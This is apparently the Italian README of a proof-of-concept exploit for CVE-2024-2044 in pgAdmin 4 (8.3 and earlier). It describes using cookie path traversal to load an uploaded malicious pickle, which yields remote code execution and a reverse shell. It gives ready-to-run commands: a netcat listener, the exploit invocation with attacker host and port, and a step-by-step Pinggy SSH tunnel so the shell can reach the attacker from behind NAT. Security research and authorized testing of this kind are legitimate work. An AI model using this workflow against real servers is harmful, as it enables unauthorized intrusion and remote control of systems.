
PoC in Python che sfrutta CVE-2024-2044 in pgAdmin 4 (<=8.3) tramite path traversal autenticato e deserializzazione pickle non sicura per ottenere l'esecuzione di codice in remoto e una reverse shell.
Questo repository contiene uno script Proof of Concept (PoC) per CVE-2024-2044, una vulnerabilità critica che combina Authenticated Path Traversal e Unsafe Deserialization su pgAdmin 4 (versione 8.3 e precedenti) in esecuzione in ambienti Linux/POSIX.
[!WARNING] DISCLAIMER: Questo codice è stato creato esclusivamente per scopi educativi, di ricerca sulla sicurezza e di penetration testing autorizzato (authorized pentesting). L'uso improprio di questo codice per attaccare target senza autorizzazione scritta è un'azione illegale e viola la legge.
In pgAdmin 4 in modalità server su ambienti Linux, la gestione delle sessioni viene memorizzata sotto forma di file locali. La vulnerabilità si verifica perché la funzione FileBackedSessionManager.get() accetta il valore del cookie HTTP pga4_session e lo concatena al percorso della directory utilizzando os.path.join senza sanificare i caratteri di manipolazione del percorso (../).
Questo script PoC sfrutta tale falla con il seguente flusso:
pickle malevolo contenente un comando Reverse Shell. Questo file viene memorizzato nella directory di archiviazione dell'utente (es: /storage/nome_utente/)./login manipolando il cookie pga4_session in un percorso relativo verso il file pickle caricato (es: ../storage/nome_utente/file.pickle!). Il simbolo ! viene utilizzato per adattarsi alla ricerca dell'estensione del file di sessione in pgAdmin 4.pickle.loads(). Di conseguenza, il payload esegue un processo Python separato (detached) che lancia una Reverse Shell verso l'attaccante.requests.nc -lvnp 4444
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
Se la tua macchina si trova dietro un NAT/Router e necessita di tunnelling pubblico, puoi utilizzare il servizio Pinggy.io con i seguenti passaggi:
Avvia nc sulla macchina locale utilizzando la porta di tua scelta (es: porta 1337):
nc -lvnp 1337
Apri un nuovo terminale, quindi esegui il comando SSH di Pinggy. Assicurati che la porta locale alla fine (1337) corrisponda alla porta nc che hai avviato in precedenza:
ssh -p 443 -R0:localhost:1337 [email protected]
Una volta connesso, Pinggy fornirà un URL TCP pubblico, ad esempio:
tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143

Nota: La porta pubblica ottenuta da Pinggy è 43143 (questa sarà il valore di -lport).
Il server pgAdmin 4 target richiede il formato di indirizzo IP reale per la connessione socket della reverse shell. Esegui nslookup sul dominio del tuo URL Pinggy:
nslookup ubylm-103-79-246-198.run.pinggy-free.link
L'output mostrerà l'IP pubblico del server Pinggy (scegli l'IPv4 nella sezione Address in alto):
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link canonical name = lin.ap.12.a.pinggy.click.
Name: lin.ap.12.a.pinggy.click
Address: 172.236.148.125
Dall'output sopra, si ottiene l'IP reale di Pinggy: 172.236.148.125.

Esegui lo script PoC inserendo l'IP risultante dal nslookup come -lhost e la porta pubblica di Pinggy come -lport:
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143


-t, --target : URL target di pgAdmin 4 (Obbligatorio).-u, --username: Email/Username di login (Default: [email protected]).-p, --password: Password di login (Default: player123).-lhost : IP Address dell'attaccante / IP risultante dal nslookup di Pinggy (Obbligatorio).-lport : Porta listener dell'attaccante / Porta pubblica di Pinggy (Obbligatorio).Questa vulnerabilità è stata corretta in pgAdmin 4 versione 8.4. Se gestisci un server vulnerabile, adotta immediatamente le seguenti azioni: